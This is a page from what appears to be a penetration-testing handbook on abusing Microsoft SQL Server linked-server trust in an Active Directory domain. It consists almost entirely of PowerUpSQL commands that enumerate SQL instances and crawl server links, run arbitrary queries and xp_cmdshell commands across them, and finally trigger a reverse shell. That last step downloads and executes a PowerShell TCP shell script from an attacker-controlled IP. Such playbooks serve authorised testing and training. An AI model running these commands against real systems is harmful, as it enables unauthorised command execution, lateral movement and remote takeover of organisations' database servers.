> For the complete documentation index, see [llms.txt](https://aidenpearce369.gitbook.io/handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aidenpearce369.gitbook.io/handbook/ad-pentesting/domain-privilege-escalation/abusing-ms-sql-trust.md).

# ABUSING MS-SQL TRUST

Enumerate instances of MS-SQL in current domain where attacker has read privilege

```
Get-SQLInstanceDomain
```

To get detailed information of MS-SQL instances in current domain where attacker has read privilege

```
Get-SQLInstanceDomain | Get-SQLServerInfo
```

To get all chain links of MS-SQL instances in current domain where attacker has read privilege

```
Get-SQLInstanceDomain | Get-SQLServerLink
```

To get chain links of specific MS-SQL instance

```
Get-SQLServerLink -Instance <MS-SQL INSTANCE>
```

To crawl the chain link from specific MS-SQL instance

```
Get-SQLServerLinkCrawl -Instance <MS-SQL INSTANCE>
```

To execute any SQL query while crawling MS-SQL instances

```
Get-SQLServerLinkCrawl -Instance <MS-SQL INSTANCE> -Query "<QUERY>"
```

To execute "whoami" query while crawling MS-SQL instances

```
Get-SQLServerLinkCrawl -Instance <MS-SQL INSTANCE> -Query "exec master..xp_cmdshell 'whoami'"
```

To trigger a reverse shell while crawling MS-SQL instances where command execution is possible

```
Get-SQLServerLinkCrawl -Instance <MS-SQL INSTANCE> -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http:// <IP>/Invoke-PowerShellTcp.ps1'')"'
```